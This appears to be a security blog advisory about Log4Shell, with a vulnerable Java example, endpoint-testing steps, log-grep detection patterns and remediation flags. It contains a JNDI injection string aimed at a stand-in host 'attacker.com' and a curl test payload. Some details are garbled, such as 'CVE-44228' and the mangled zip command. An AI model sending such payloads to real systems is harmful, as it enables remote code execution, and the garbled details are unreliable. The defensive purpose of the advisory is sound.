.png){kind=logo}
On December 9th, Alibaba Cloud Security team's Chen Zhaojun reported a critical vulnerability (called "Log4Shell", designated - CVE-44228), which is one of the worst vulnerabilities to date. Almost immediately after the discovery, proofs of concept and videos showing how popular services like Apple's "iCloud" and LinkedIn are being abused have already flooded the internet.
LOG4SHELL - an easy to exploit Remote Code Execution (RCE) vulnerability
The log4shell vulnerability allows an attacker to both download and run arbitrary code by sending a simple malicious string to the vulnerable application. The vulnerable java library is widely adopted, and finding which applications in the corporate network are vulnerable has proven to be quite a challenge.
What does an exploitable application look like?
Here is an example of the vulnerable code:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:{}", userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
All an app needs to be vulnerable is to use a vulnerable version of the library, input from an external party to reach the log, and access for the app to the internet in order to download and run a payload!
What can I do to protect myself?
There are a few scenarios to consider:
I'm using log4j in my own software
First, you need to detect where in the code you are using log4j. Software composition analysis tools such as Snyk or Checkmarx are a great option if you own them. If not, you can use the open-sourced - syft (https://github.com/anchore/syft) and grype (https://github.com/anchore/grype) or even run a Linux command to try and find them:
gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Pathanother good method is to try and test your application endpoints:
1. Create a honeytoken dns record at webhook.site or dnslog.cn
2. Send the following string to the tested app - ${jndi:ldap://<Token DNS Here>/a} for example:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://sdfsdf.dnslog.cn/a}'3. Check the token site for hits
Once I've found my vulnerable apps, how do I remediate them?
The Apache Foundation recommends either replacing the library with a non-vulnerable version, or running with specific flags:
To protect earlier releases of Log4j (from 2.0-beta9 to 2.10.0), the library developers recommend removing the JndiLookup class from the classpath: zip -q -d log4j-core – *. Jar org / apache / logging / log4j / core / lookup / JndiLookup .class.
In case of Log4J versions from 2.10 to 2.14.1, they advise setting the log4j2.formatMsgNoLookups system property, or setting the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true.
The simplest and most effective protection method is to install the most recent version of the library, 2.15.0
How can I detect if my app has been exploited?
To detect exploitation attempts in Linux log files, you can use the following commands:
sudo egrep -i -r '∖$∖{jndi:(ldap[s]?|rmi|dns):/[^∖n]+' /var/logThe following command searches for exploitation attempts in compressed files in folder /var/log and all sub folders
sudo find /var/log -name ∖*.gz -print0 | xargs -0 zgrep -E -i '∖$∖{jndi:(ldap[s]?|rmi|dns):/[^∖n]+'To detect obfuscated variants
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \;Or use this script to scan locally on your Linux servers:
Use the following command in Windows PowerShell:
gci 'C:∖' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp PathIf you have an EDR, a SIEM system, or any other log aggregation solution, you can download the following SIGMA rules and Yara Rules (also translated to many other platforms) from the following links:
What should I do about third-party software?
First off, here is an up to date list of vulnerable software to refer to -
You should also try visiting the websites of each of your software vendors and making and upgrading your software as soon as they release a patch.
In some cases, it is possible to change the app's starting command by putting the following flag after the JVM command -Dlog4j2.formatMsgNoLookups=true (this depends on the version as stated above of course)
Another way to hunt down these apps is to use a vulnerability scanning solution like Rapid7 or Nessus, or even an open source like Nuclei - https://github.com/numanturle/Log4jNuclei
How to approach my Third-party vendors?
By this point, most of the application vendors have already heard and are working on fixes. That being said, you might have some smaller vendors which have still not been able to respond to the threat, and this might affect your own risk. As always, it's important to start assessing and addressing the risk top-down, starting with critical vendors first and working your way down. Amongst the critical vendors, try to Identify the smaller ones which are more likely to have a slower response or even might need your guidance ( or even a reference to guides like this one)
To sum it all up...
We believe that whilst log4shell was preceded by a series of other "software bill of materials" vulnerabilities, its ease of exploitation and commonality make it a game changer. Surely more researchers and hackers will divert focus on the next such mega vulnerability, and it's would be smart to prepare for the next vulnerability to hit. Improving our security controls, procedures and response capabilities are crucial in order to minimize the potential time of exposure, and possibly prevent a cyber catastrophe from occurring in your organization.
Comments